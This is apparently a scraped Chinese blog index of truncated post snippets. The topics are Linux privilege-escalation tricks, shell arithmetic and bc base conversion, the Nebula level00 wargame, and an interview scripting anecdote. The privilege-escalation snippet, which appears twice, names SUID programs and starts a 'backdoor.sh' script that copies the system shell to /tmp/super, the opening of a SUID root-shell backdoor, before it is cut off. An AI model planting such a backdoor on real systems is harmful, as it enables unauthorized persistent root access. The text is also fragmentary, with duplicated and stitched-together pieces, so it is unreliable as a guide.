提权的奇淫巧计
系统原程序：sudo、su、。。。这些具有suid标志的程序
后门脚本backdoor.sh
#!/usr/bin/sh
cp /usr/bin/sh /tmp/super
(chown `whoami`:`whoami` /tmp/super 2>/dev/null;ch......
系统原程序：sudo、su、。。。这些具有suid标志的程序
后门脚本backdoor.sh
#!/usr/bin/sh
cp /usr/bin/sh /tmp/super
(chown `whoami`:`whoami` /tmp/super 2>/dev/null;ch......
cat /pro/$$/environ “$$”当前进程
自加 let no1++
自减 let no1—
bc：进制转换
no=100
echo “obase=10;ibase=2;$no” | bc
将......
Nebula level00About
This level requires you to find a Set User ID program that will run as the "flag00" account. You could also find this b......
这题是大一时候做过的，但是那时候才疏学浅，使用的方法很不好。
美女姐姐面试的时候，让我写一下这个脚本（可以用python，但是python有些函数不太记得是否标准库有提供），所以当时继续使用了大一时候的思路，写了个shell脚本。
function A：先都当文件夹删除空文件夹，$?判断上一条命......